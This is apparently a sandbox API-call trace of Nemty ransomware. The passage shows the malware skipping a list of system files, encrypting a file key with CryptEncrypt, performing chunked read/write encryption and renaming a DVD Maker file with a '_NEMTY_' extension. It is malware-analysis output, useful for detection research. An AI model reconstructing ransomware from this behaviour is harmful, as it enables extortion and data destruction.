nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0052.422] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2=".") returned 1 [0052.422] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="..") returned 1 [0052.422] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="...") returned 1 [0052.422] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="windows") returned -1 [0052.422] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="$RECYCLE.BIN") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="rsa") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="NTDETECT.COM") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="ntldr") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="MSDOS.SYS") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="IO.SYS") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="boot.ini") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="boot.ini") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="AUTOEXEC.BAT") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="ntuser.dat") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="desktop.ini") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="CONFIG.SYS") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="RECYCLER") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="BOOTSECT.BAK") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="bootmgr") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="programdata") returned 1 [0052.423] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="appdata") returned 1 [0052.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsource.ax", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsource.ax", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtstreamsource.ax", lpUsedDefaultChar=0x0) returned 17 [0052.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0052.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsource.ax", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsource.ax", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtstreamsource.ax", lpUsedDefaultChar=0x0) returned 17 [0052.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0052.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsource.ax", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsource.ax", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtstreamsource.ax", lpUsedDefaultChar=0x0) returned 17 [0052.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsource.ax", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rtstreamsource.ax", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtstreamsource.ax", lpUsedDefaultChar=0x0) returned 17 [0052.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0052.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0052.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0052.424] Sleep (dwMilliseconds=0x5) [0052.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd2e5b210, dwHighDateTime=0x1d561e7)) [0052.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd2e5b210, dwHighDateTime=0x1d561e7)) [0052.429] GetLastError () returned 0x5 [0052.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0052.430] GetLastError () returned 0x5 [0052.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0052.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0052.430] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0052.430] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0052.430] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0052.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0052.430] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="rxwL7xDhs+sQtyf+EbwnH3fPm+W8pB+2/WcoemPivRMEPAB+vEpwv4FcIlixBzhc\r\ncgI2H1oQVLMlAIQ6RsTzSYYqu3Q8d9vJ2p6JOzTbEEgqFeqWmZg5KNRQjQY72wNl\r\nsNvGOXNhBXWA8CGIPLA3bKxULlOAAyzx0WuoKgOW4d3XokQ5BBfrj3KI99eIGek8\r\nC23/ZO22yQzZWmMyZ0MYWLrrOhNCJLYCt0NMNfXqST55HEAjigJPISbUE2hPpdD3\r\nQtvV+v3TfnSjT5wojHAKQUmNdcvWXmK2UyNyBpFn5NX97l0t3FLpnmP7fSVpGJa0\r\nZRJVeJ2X+8o0EE5v5PAqKQ==\r\n", pcchString=0x653f2dc) returned 1 [0052.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0052.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0052.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0052.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0052.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0052.430] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0052.431] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0052.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0052.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.509] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0052.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.540] CloseHandle (hObject=0xffffffff) returned 0 [0052.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0052.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0052.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0052.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94370 [0052.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x63401c0 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0052.540] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax._nemty_kgobjgd_")) returned 0 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0052.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.541] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2=".") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="..") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="...") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="windows") returned -1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="$RECYCLE.BIN") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="rsa") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="NTDETECT.COM") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="ntldr") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="MSDOS.SYS") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="IO.SYS") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="boot.ini") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="boot.ini") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="AUTOEXEC.BAT") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="ntuser.dat") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="desktop.ini") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="CONFIG.SYS") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="RECYCLER") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="BOOTSECT.BAK") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="bootmgr") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="programdata") returned 1 [0052.541] lstrcmpiW (lpString1="SecretST.TTF", lpString2="appdata") returned 1 [0052.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SecretST.TTF", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0052.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SecretST.TTF", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SecretST.TTF", lpUsedDefaultChar=0x0) returned 12 [0052.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SecretST.TTF", cchWideChar=12, 